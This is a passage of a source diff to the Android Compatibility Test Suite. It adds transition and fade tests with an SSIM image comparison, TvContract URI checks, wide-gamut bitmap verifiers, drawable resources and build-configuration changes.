+ Bundle options = ActivityOptions.makeSceneTransitionAnimation(mActivity,
+ sharedElement, "red").toBundle();
+ Intent intent = new Intent(mActivity, TargetActivity.class);
+ intent.putExtra(TargetActivity.EXTRA_LAYOUT_ID, R.layout.scene2);
+ mActivity.startActivity(intent, options);
+ });
+
+ TargetActivity targetActivity = waitForTargetActivity();
+ verify(targetActivity.enterListener, within(3000)).onTransitionEnd(any());
+ verify(mExitListener, times(1)).onTransitionEnd(any());
+
+ final CountDownLatch startCalled = new CountDownLatch(1);
+ final SharedElementCallback sharedElementCallback = new SharedElementCallback() {
+ @Override
+ public void onSharedElementStart(List<String> sharedElementNames,
+ List<View> sharedElements,
+ List<View> sharedElementSnapshots) {
+ int index = sharedElementNames.indexOf("red");
+ View sharedElement = sharedElementSnapshots.get(index);
+ Drawable backgroundDrawable = sharedElement.getBackground();
+ BitmapDrawable bitmapDrawable = (BitmapDrawable) backgroundDrawable;
+ Bitmap bitmap = bitmapDrawable.getBitmap();
+ Bitmap copy = bitmap.copy(Bitmap.Config.ARGB_8888, false);
+ assertEquals(0xFFFF0000, copy.getPixel(1, 1));
+ startCalled.countDown();
+ super.onSharedElementStart(sharedElementNames, sharedElements,
+ sharedElementSnapshots);
+ }
+ };
+
+ mActivity.setExitSharedElementCallback(sharedElementCallback);
+ mActivityRule.runOnUiThread(() -> targetActivity.finishAfterTransition());
+
+ // Should only take a short time, but there's no need to rush it on failure.
+ assertTrue(startCalled.await(5, TimeUnit.SECONDS));
+
+ TargetActivity.sLastCreated = null;
+ }
+
private TargetActivity waitForTargetActivity() throws Throwable {
PollingCheck.waitFor(() -> TargetActivity.sLastCreated != null);
// Just make sure that we're not in the middle of running on the UI thread.
diff --git a/tests/tests/transition/src/android/transition/cts/FadeTest.java b/tests/tests/transition/src/android/transition/cts/FadeTest.java
index 22a6039..fe93d1b 100644
--- a/tests/tests/transition/src/android/transition/cts/FadeTest.java
+++ b/tests/tests/transition/src/android/transition/cts/FadeTest.java
@@ -15,18 +15,37 @@
*/
package android.transition.cts;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotSame;
+import static org.junit.Assert.assertTrue;
import static org.mockito.Matchers.any;
import static org.mockito.Mockito.never;
import static org.mockito.Mockito.verify;
+import android.animation.Animator;
+import android.graphics.Bitmap;
+import android.graphics.Canvas;
+import android.graphics.Color;
+import android.graphics.drawable.BitmapDrawable;
import android.support.test.filters.MediumTest;
import android.support.test.runner.AndroidJUnit4;
import android.transition.Fade;
+import android.transition.Transition;
+import android.transition.TransitionListenerAdapter;
+import android.transition.TransitionManager;
+import android.transition.TransitionValues;
+import android.view.View;
+import android.view.ViewGroup;
+import android.widget.FrameLayout;
+import android.widget.ImageView;
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
/**
* This tests the public API for Fade. The alpha cannot be easily tested as part of CTS,
* so those are implementation tests.
@@ -34,6 +53,12 @@
@MediumTest
@RunWith(AndroidJUnit4.class)
public class FadeTest extends BaseTransitionTest {
+ private static final int WINDOW_SIZE = 10;
+ public static final double CONSTANT_L = 254;
+ public static final double CONSTANT_K1 = 0.00001;
+ public static final double CONSTANT_K2 = 0.00003;
+ public static final double CONSTANT_C1 = Math.pow(CONSTANT_L * CONSTANT_K1, 2);
+ public static final double CONSTANT_C2 = Math.pow(CONSTANT_L * CONSTANT_K2, 2);
Fade mFade;
@Override
@@ -89,5 +114,187 @@
verify(mListener, never()).onTransitionEnd(any());
waitForEnd(400);
}
+
+ @Test
+ public void testFadeOut() throws Throwable {
+ enterScene(R.layout.scene4);
+ }
+
+ @Test
+ public void testFadeOutTransition() throws Throwable {
+ enterScene(R.layout.scene1);
+
+ final View redSquare = mActivity.findViewById(R.id.redSquare);
+ final Bitmap redSquareBitmap = createViewBitmap(redSquare);
+ final FrameLayout container = new FrameLayout(mActivity);
+ final ViewGroup sceneRoot = mActivity.findViewById(R.id.holder);
+
+ final int startWidth = redSquare.getWidth();
+ final int startHeight = redSquare.getHeight();
+
+ final CountDownLatch onDisappearCalled = new CountDownLatch(1);
+
+ Fade fadeOut = new Fade(Fade.MODE_OUT) {
+ @Override
+ public Animator onDisappear(ViewGroup sceneRoot, View view,
+ TransitionValues startValues,
+ TransitionValues endValues) {
+ assertNotSame(view, redSquare);
+ assertEquals(startWidth, view.getWidth());
+ assertEquals(startHeight, view.getHeight());
+ assertTrue(view instanceof ImageView);
+ ImageView imageView = (ImageView) view;
+ BitmapDrawable bitmapDrawable = (BitmapDrawable) imageView.getDrawable();
+ Bitmap bitmap = bitmapDrawable.getBitmap();
+ Bitmap copy = bitmap.copy(Bitmap.Config.ARGB_8888, false);
+ Bitmap expected = redSquareBitmap.copy(Bitmap.Config.ARGB_8888, false);
+ verifySimilar(expected, copy, 0.95);
+ onDisappearCalled.countDown();
+ return super.onDisappear(sceneRoot, view, startValues, endValues);
+ }
+ };
+ fadeOut.setDuration(20);
+
+ final CountDownLatch endLatch = new CountDownLatch(1);
+ fadeOut.addListener(new TransitionListenerAdapter() {
+ @Override
+ public void onTransitionEnd(Transition transition) {
+ endLatch.countDown();
+ }
+ });
+
+
+ mActivityRule.runOnUiThread(() -> {
+ TransitionManager.beginDelayedTransition(sceneRoot, fadeOut);
+ sceneRoot.removeView(redSquare);
+ container.addView(redSquare);
+ });
+
+ // Should only take 20ms, but no need to rush here
+ assertTrue(endLatch.await(1, TimeUnit.SECONDS));
+ assertTrue(onDisappearCalled.await(0, TimeUnit.SECONDS));
+ }
+
+ private Bitmap createViewBitmap(View view) {
+ int bitmapWidth = view.getWidth();
+ int bitmapHeight = view.getHeight();
+ Bitmap bitmap = Bitmap.createBitmap(bitmapWidth, bitmapHeight, Bitmap.Config.ARGB_8888);
+ Canvas canvas = new Canvas(bitmap);
+ view.draw(canvas);
+ return bitmap;
+ }
+
+ /**
+ * From {@link android.uirendering.cts.bitmapcomparers.MSSIMComparer}
+ */
+ private static void verifySimilar(Bitmap expected, Bitmap real, double threshold) {
+ assertEquals(expected.getWidth(), real.getWidth());
+ assertEquals(expected.getHeight(), real.getHeight());
+
+ double ssimTotal = 0;
+ int windows = 0;
+
+ for (int y = 0; y < expected.getHeight(); y += WINDOW_SIZE) {
+ y = Math.min(y, expected.getHeight() - WINDOW_SIZE);
+
+ for (int x = 0; x < expected.getWidth(); x += WINDOW_SIZE) {
+ x = Math.min(x, expected.getWidth() - WINDOW_SIZE);
+
+ if (isWindowWhite(expected, x, y) && isWindowWhite(real, x, y)) {
+ continue;
+ }
+ windows++;
+ double[] means = getMeans(expected, real, x, y);
+ double meanX = means[0];
+ double meanY = means[1];
+ double[] variances = getVariances(expected, real, meanX, meanY, x, y);
+ double varX = variances[0];
+ double varY = variances[1];
+ double stdBoth = variances[2];
+ double ssim = ssim(meanX, meanY, varX, varY, stdBoth);
+ ssimTotal += ssim;
+ }
+ }
+ assertTrue(ssimTotal >= threshold);
+ }
+
+ /**
+ * This method will find the mean of a window in both sets of pixels. The return is an array
+ * where the first double is the mean of the first set and the second double is the mean of the
+ * second set.
+ */
+ private static double[] getMeans(Bitmap bitmap1, Bitmap bitmap2, int xStart, int yStart) {
+ double avg0 = 0;
+ double avg1 = 0;
+ for (int y = 0; y < WINDOW_SIZE; y++) {
+ for (int x = 0; x < WINDOW_SIZE; x++) {
+ avg0 += getIntensity(bitmap1.getPixel(xStart + x, yStart + y));
+ avg1 += getIntensity(bitmap2.getPixel(xStart + x, yStart + y));
+ }
+ }
+ avg0 /= WINDOW_SIZE * WINDOW_SIZE;
+ avg1 /= WINDOW_SIZE * WINDOW_SIZE;
+ return new double[]{avg0, avg1};
+ }
+
+ /**
+ * Finds the variance of the two sets of pixels, as well as the covariance of the windows. The
+ * return value is an array of doubles, the first is the variance of the first set of pixels,
+ * the second is the variance of the second set of pixels, and the third is the covariance.
+ */
+ private static double[] getVariances(Bitmap bitmap1, Bitmap bitmap2, double mean0, double mean1,
+ int xStart, int yStart) {
+ double var0 = 0;
+ double var1 = 0;
+ double varBoth = 0;
+ for (int y = 0; y < WINDOW_SIZE; y++) {
+ for (int x = 0; x < WINDOW_SIZE; x++) {
+ double v0 = getIntensity(bitmap1.getPixel(xStart + x, yStart + y)) - mean0;
+ double v1 = getIntensity(bitmap2.getPixel(xStart + x, yStart + y)) - mean1;
+ var0 += v0 * v0;
+ var1 += v1 * v1;
+ varBoth += v0 * v1;
+ }
+ }
+ var0 /= (WINDOW_SIZE * WINDOW_SIZE) - 1;
+ var1 /= (WINDOW_SIZE * WINDOW_SIZE) - 1;
+ varBoth /= (WINDOW_SIZE * WINDOW_SIZE) - 1;
+ return new double[]{var0, var1, varBoth};
+ }
+
+ /**
+ * Gets the intensity of a given pixel in RGB using luminosity formula
+ *
+ * l = 0.21R' + 0.72G' + 0.07B'
+ *
+ * The prime symbols dictate a gamma correction of 1.
+ */
+ private static double getIntensity(int pixel) {
+ final double gamma = 1;
+ double l = 0;
+ l += (0.21f * Math.pow(Color.red(pixel) / 255f, gamma));
+ l += (0.72f * Math.pow(Color.green(pixel) / 255f, gamma));
+ l += (0.07f * Math.pow(Color.blue(pixel) / 255f, gamma));
+ return l;
+ }
+
+ private static boolean isWindowWhite(Bitmap bitmap, int xStart, int yStart) {
+ for (int y = 0; y < WINDOW_SIZE; y++) {
+ for (int x = 0; x < WINDOW_SIZE; x++) {
+ if (bitmap.getPixel(xStart + x, yStart + y) != Color.WHITE) {
+ return false;
+ }
+ }
+ }
+ return true;
+ }
+
+ private static double ssim(double muX, double muY, double sigX, double sigY, double sigXY) {
+ double ssim = (((2 * muX * muY) + CONSTANT_C1) * ((2 * sigXY) + CONSTANT_C2));
+ double denom = ((muX * muX) + (muY * muY) + CONSTANT_C1)
+ * (sigX + sigY + CONSTANT_C2);
+ ssim /= denom;
+ return ssim;
+ }
}
diff --git a/tests/tests/tv/Android.mk b/tests/tests/tv/Android.mk
index 640e16e..30429d3 100644
--- a/tests/tests/tv/Android.mk
+++ b/tests/tests/tv/Android.mk
@@ -21,7 +21,7 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SRC_FILES := $(call all-java-files-under, src)
diff --git a/tests/tests/tv/AndroidTest.xml b/tests/tests/tv/AndroidTest.xml
index 8068c72..99cafd9 100644
--- a/tests/tests/tv/AndroidTest.xml
+++ b/tests/tests/tv/AndroidTest.xml
@@ -14,6 +14,7 @@
limitations under the License.
-->
<configuration description="Config for CTS TV test cases">
+ <option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="tv" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/tests/tv/src/android/media/tv/cts/TvContractTest.java b/tests/tests/tv/src/android/media/tv/cts/TvContractTest.java
index 140e262..27c388a 100644
--- a/tests/tests/tv/src/android/media/tv/cts/TvContractTest.java
+++ b/tests/tests/tv/src/android/media/tv/cts/TvContractTest.java
@@ -991,9 +991,12 @@
verifyOverlap(programStartMillis - hour, programStartMillis - hour / 2, 0,
channelId, channelUri);
- // Non-overlap 2: starts too late
+ // Non-overlap 2: starts too late.
verifyOverlap(programEndMillis + hour, programEndMillis + hour * 2, 0,
channelId, channelUri);
+
+ // Non-overlap 3: invalid start and end times.
+ verifyOverlap(programEndMillis, programStartMillis, 0, channelId, channelUri);
}
private void verifyRecordedProgram(Uri recordedProgramUri, ContentValues expectedValues,
@@ -1428,29 +1431,41 @@
final Uri CHANNEL_URI_FOR_PASSTHROUGH_INPUT =
TvContract.buildChannelUriForPassthroughInput("inputId");
final Uri PROGRAM_URI = TvContract.buildProgramUri(0);
+ final Uri RECORDED_PROGRAM_URI = TvContract.buildRecordedProgramUri(0);
// Test isChannelUri
assertTrue(TvContract.isChannelUri(CHANNEL_URI_FOR_TUNER));
assertTrue(TvContract.isChannelUri(CHANNEL_URI_FOR_PASSTHROUGH_INPUT));
assertFalse(TvContract.isChannelUri(PROGRAM_URI));
+ assertFalse(TvContract.isChannelUri(RECORDED_PROGRAM_URI));
assertFalse(TvContract.isChannelUri(null));
// Test isChannelUriForPassthroughInput
assertFalse(TvContract.isChannelUriForPassthroughInput(CHANNEL_URI_FOR_TUNER));
assertTrue(TvContract.isChannelUriForPassthroughInput(CHANNEL_URI_FOR_PASSTHROUGH_INPUT));
assertFalse(TvContract.isChannelUriForPassthroughInput(PROGRAM_URI));
+ assertFalse(TvContract.isChannelUriForPassthroughInput(RECORDED_PROGRAM_URI));
assertFalse(TvContract.isChannelUriForPassthroughInput(null));
// Test isChannelUriForTunerInput
assertTrue(TvContract.isChannelUriForTunerInput(CHANNEL_URI_FOR_TUNER));
assertFalse(TvContract.isChannelUriForTunerInput(CHANNEL_URI_FOR_PASSTHROUGH_INPUT));
assertFalse(TvContract.isChannelUriForTunerInput(PROGRAM_URI));
+ assertFalse(TvContract.isChannelUriForTunerInput(RECORDED_PROGRAM_URI));
assertFalse(TvContract.isChannelUriForTunerInput(null));
// Test isProgramUri
assertFalse(TvContract.isProgramUri(CHANNEL_URI_FOR_TUNER));
assertFalse(TvContract.isProgramUri(CHANNEL_URI_FOR_PASSTHROUGH_INPUT));
assertTrue(TvContract.isProgramUri(PROGRAM_URI));
+ assertFalse(TvContract.isProgramUri(RECORDED_PROGRAM_URI));
assertFalse(TvContract.isProgramUri(null));
+
+ // Test isRecordedProgramUri
+ assertFalse(TvContract.isRecordedProgramUri(CHANNEL_URI_FOR_TUNER));
+ assertFalse(TvContract.isRecordedProgramUri(CHANNEL_URI_FOR_PASSTHROUGH_INPUT));
+ assertFalse(TvContract.isRecordedProgramUri(PROGRAM_URI));
+ assertTrue(TvContract.isRecordedProgramUri(RECORDED_PROGRAM_URI));
+ assertFalse(TvContract.isRecordedProgramUri(null));
}
}
diff --git a/tests/tests/uiautomation/Android.mk b/tests/tests/uiautomation/Android.mk
index c595635..eb6ed68 100644
--- a/tests/tests/uiautomation/Android.mk
+++ b/tests/tests/uiautomation/Android.mk
@@ -21,9 +21,9 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner ub-uiautomator
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner ub-uiautomator legacy-android-test
LOCAL_SRC_FILES := $(call all-java-files-under, src)
diff --git a/tests/tests/uidisolation/Android.mk b/tests/tests/uidisolation/Android.mk
index 08b9646..e9ee3e9 100644
--- a/tests/tests/uidisolation/Android.mk
+++ b/tests/tests/uidisolation/Android.mk
@@ -22,9 +22,9 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner ctstestserver
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner ctstestserver legacy-android-test
LOCAL_JAVA_LIBRARIES := org.apache.http.legacy
diff --git a/tests/tests/uidisolation/AndroidTest.xml b/tests/tests/uidisolation/AndroidTest.xml
index e26c721..02df495 100644
--- a/tests/tests/uidisolation/AndroidTest.xml
+++ b/tests/tests/uidisolation/AndroidTest.xml
@@ -15,6 +15,7 @@
-->
<configuration description="Config for CTS UID Isolation test cases">
<option name="config-descriptor:metadata" key="component" value="security" />
+ <option name="not-shardable" value="true" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsUidIsolationTestCases.apk" />
diff --git a/tests/tests/uirendering/Android.mk b/tests/tests/uirendering/Android.mk
index 52d8580..9cc07b9 100644
--- a/tests/tests/uirendering/Android.mk
+++ b/tests/tests/uirendering/Android.mk
@@ -22,12 +22,13 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_JAVA_LIBRARIES := android.test.runner
LOCAL_STATIC_JAVA_LIBRARIES := \
compatibility-device-util \
+ ctsdeviceutillegacy \
ctstestrunner \
mockito-target-minus-junit4 \
android-support-test \
diff --git a/tests/tests/uirendering/AndroidTest.xml b/tests/tests/uirendering/AndroidTest.xml
index 4a4f194..b8855b1 100644
--- a/tests/tests/uirendering/AndroidTest.xml
+++ b/tests/tests/uirendering/AndroidTest.xml
@@ -14,6 +14,7 @@
limitations under the License.
-->
<configuration description="Config for CTS UI Rendering test cases">
+ <option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="uitoolkit" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/tests/uirendering/assets/wide-gamut-test.png b/tests/tests/uirendering/assets/wide-gamut-test.png
new file mode 100644
index 0000000..ba8dbcf
--- /dev/null
+++ b/tests/tests/uirendering/assets/wide-gamut-test.png
Binary files differ
diff --git a/tests/tests/uirendering/res/drawable/bitmap_density.xml b/tests/tests/uirendering/res/drawable/bitmap_density.xml
new file mode 100644
index 0000000..04d6125
--- /dev/null
+++ b/tests/tests/uirendering/res/drawable/bitmap_density.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2016 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<bitmap xmlns:android="http://schemas.android.com/apk/res/android"
+ android:src="@drawable/icon_blue" />
diff --git a/tests/tests/uirendering/res/drawable/bitmap_shader_am_density.xml b/tests/tests/uirendering/res/drawable/bitmap_shader_am_density.xml
new file mode 100644
index 0000000..9c28199
--- /dev/null
+++ b/tests/tests/uirendering/res/drawable/bitmap_shader_am_density.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2016 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<bitmap xmlns:android="http://schemas.android.com/apk/res/android"
+ android:src="@drawable/icon_blue"
+ android:tileModeX="repeat"
+ android:tileModeY="clamp"
+ android:autoMirrored="true" />
diff --git a/tests/tests/uirendering/res/drawable/bitmap_shader_density.xml b/tests/tests/uirendering/res/drawable/bitmap_shader_density.xml
new file mode 100644
index 0000000..216874e
--- /dev/null
+++ b/tests/tests/uirendering/res/drawable/bitmap_shader_density.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2016 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<bitmap xmlns:android="http://schemas.android.com/apk/res/android"
+ android:src="@drawable/icon_blue"
+ android:tileModeX="repeat"
+ android:tileModeY="clamp" />
diff --git a/tests/tests/uirendering/res/drawable/icon_blue.jpg b/tests/tests/uirendering/res/drawable/icon_blue.jpg
new file mode 100644
index 0000000..9e6c1c8
--- /dev/null
+++ b/tests/tests/uirendering/res/drawable/icon_blue.jpg
Binary files differ
diff --git a/tests/tests/uirendering/res/layout/wide_gamut_bitmap_layout.xml b/tests/tests/uirendering/res/layout/wide_gamut_bitmap_layout.xml
new file mode 100644
index 0000000..adc436a
--- /dev/null
+++ b/tests/tests/uirendering/res/layout/wide_gamut_bitmap_layout.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+<android.uirendering.cts.testclasses.view.BitmapView
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content" />
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/bitmapverifiers/BitmapVerifier.java b/tests/tests/uirendering/src/android/uirendering/cts/bitmapverifiers/BitmapVerifier.java
index 2f7acd5..61767b3 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/bitmapverifiers/BitmapVerifier.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/bitmapverifiers/BitmapVerifier.java
@@ -27,6 +27,14 @@
protected Bitmap mDifferenceBitmap;
+ public boolean verify(Bitmap bitmap) {
+ int width = bitmap.getWidth();
+ int height = bitmap.getHeight();
+ int[] pixels = new int[width * height];
+ bitmap.getPixels(pixels, 0, width, 0, 0, width, height);
+ return verify(pixels, 0, width, width, height);
+ }
+
/**
* This will test if the bitmap is good or not.
*/
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/bitmapverifiers/SamplePointWideGamutVerifier.java b/tests/tests/uirendering/src/android/uirendering/cts/bitmapverifiers/SamplePointWideGamutVerifier.java
new file mode 100644
index 0000000..c075105
--- /dev/null
+++ b/tests/tests/uirendering/src/android/uirendering/cts/bitmapverifiers/SamplePointWideGamutVerifier.java
@@ -0,0 +1,71 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.uirendering.cts.bitmapverifiers;
+
+import android.graphics.Color;
+import android.graphics.ColorSpace;
+import android.graphics.Point;
+import android.util.Half;
+import android.util.Log;
+
+import java.nio.ByteBuffer;
+
+public class SamplePointWideGamutVerifier extends WideGamutBitmapVerifier {
+ private static final String TAG = "SamplePointWideGamut";
+
+ private static final ColorSpace SCRGB = ColorSpace.get(ColorSpace.Named.EXTENDED_SRGB);
+
+ private final Point[] mPoints;
+ private final Color[] mColors;
+ private final float mEps;
+
+ public SamplePointWideGamutVerifier(Point[] points, Color[] colors, float eps) {
+ mPoints = points;
+ mColors = colors;
+ mEps = eps;
+ }
+
+ @Override
+ public boolean verify(ByteBuffer bitmap, int offset, int stride, int width, int height) {
+ boolean success = true;
+ for (int i = 0; i < mPoints.length; i++) {
+ Point p = mPoints[i];
+ Color c = mColors[i];
+
+ int index = p.y * stride + (p.x << 3);
+ float r = Half.toFloat(bitmap.getShort(index));
+ float g = Half.toFloat(bitmap.getShort(index + 2));
+ float b = Half.toFloat(bitmap.getShort(index + 4));
+
+ boolean localSuccess = true;
+ if (!floatCompare(c.red(), r, mEps)) localSuccess = false;
+ if (!floatCompare(c.green(), g, mEps)) localSuccess = false;
+ if (!floatCompare(c.blue(), b, mEps)) localSuccess = false;
+
+ if (!localSuccess) {
+ success = false;
+ Log.w(TAG, "Expected " + c.toString() + " at " + p.x + "x" + p.y
+ + ", got " + Color.valueOf(r, g, b, 1.0f, SCRGB).toString());
+ }
+ }
+ return success;
+ }
+
+ private static boolean floatCompare(float a, float b, float eps) {
+ return Float.compare(a, b) == 0 || Math.abs(a - b) <= eps;
+ }
+}
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/bitmapverifiers/WideGamutBitmapVerifier.java b/tests/tests/uirendering/src/android/uirendering/cts/bitmapverifiers/WideGamutBitmapVerifier.java
new file mode 100644
index 0000000..0c11a064
--- /dev/null
+++ b/tests/tests/uirendering/src/android/uirendering/cts/bitmapverifiers/WideGamutBitmapVerifier.java
@@ -0,0 +1,46 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.uirendering.cts.bitmapverifiers;
+
+import android.graphics.Bitmap;
+
+import java.nio.ByteBuffer;
+import java.nio.ByteOrder;
+
+public abstract class WideGamutBitmapVerifier extends BitmapVerifier {
+ @Override
+ public boolean verify(Bitmap bitmap) {
+ ByteBuffer dst = ByteBuffer.allocateDirect(bitmap.getAllocationByteCount());
+ bitmap.copyPixelsToBuffer(dst);
+ dst.rewind();
+ dst.order(ByteOrder.LITTLE_ENDIAN);
+
+ int width = bitmap.getWidth();
+ int height = bitmap.getHeight();
+ return verify(dst, 0, bitmap.getRowBytes(), width, height);
+ }
+
+ public abstract boolean verify(ByteBuffer bitmap, int offset, int stride,
+ int width, int height);
+
+ @Override
+ public boolean verify(int[] bitmap, int offset, int stride, int width, int height) {
+ // This method is never called, we use
+ // verify(ByteBuffer bitmap, int offset, int stride, int width, int height) instead
+ return false;
+ }
+}
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/BitmapDrawableTest.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/BitmapDrawableTest.java
new file mode 100644
index 0000000..7b01d34
--- /dev/null
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/BitmapDrawableTest.java
@@ -0,0 +1,160 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.uirendering.cts.testclasses;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNotSame;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.content.res.Resources.Theme;
+import android.graphics.BitmapFactory;
+import android.graphics.Rect;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import android.content.Context;
+import android.content.res.Configuration;
+import android.content.res.Resources;
+import android.content.res.XmlResourceParser;
+import android.graphics.Bitmap;
+import android.graphics.Canvas;
+import android.graphics.Color;
+import android.graphics.drawable.BitmapDrawable;
+import android.graphics.drawable.Drawable;
+import android.graphics.drawable.Drawable.ConstantState;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.MediumTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.uirendering.cts.R;
+import android.uirendering.cts.bitmapverifiers.RectVerifier;
+import android.uirendering.cts.testinfrastructure.ActivityTestBase;
+import android.uirendering.cts.testinfrastructure.CanvasClient;
+import android.util.LayoutDirection;
+
+import java.io.ByteArrayInputStream;
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class BitmapDrawableTest extends ActivityTestBase {
+
+ // The target context.
+ private Context mContext;
+
+ @Before
+ public void setup() {
+ mContext = InstrumentationRegistry.getTargetContext();
+ }
+
+ private static final int[] DENSITY_VALUES = new int[] {
+ 160, 80, 320
+ };
+
+ private static final int[] DENSITY_IMAGES = new int[] {
+ R.drawable.bitmap_density,
+ R.drawable.bitmap_shader_density,
+ R.drawable.bitmap_shader_am_density,
+ };
+
+ @Test
+ public void testPreloadDensity() throws IOException {
+ final Resources res = mContext.getResources();
+ final int densityDpi = res.getConfiguration().densityDpi;
+ try {
+ for (int i = 0; i < DENSITY_IMAGES.length; i++) {
+ verifyPreloadDensityInner(res, DENSITY_IMAGES[i], DENSITY_VALUES);
+ }
+ } finally {
+ setResourcesDensity(res, densityDpi);
+ }
+ }
+
+ private void verifyPreloadDensityInner(Resources res, int sourceResId, int[] densities)
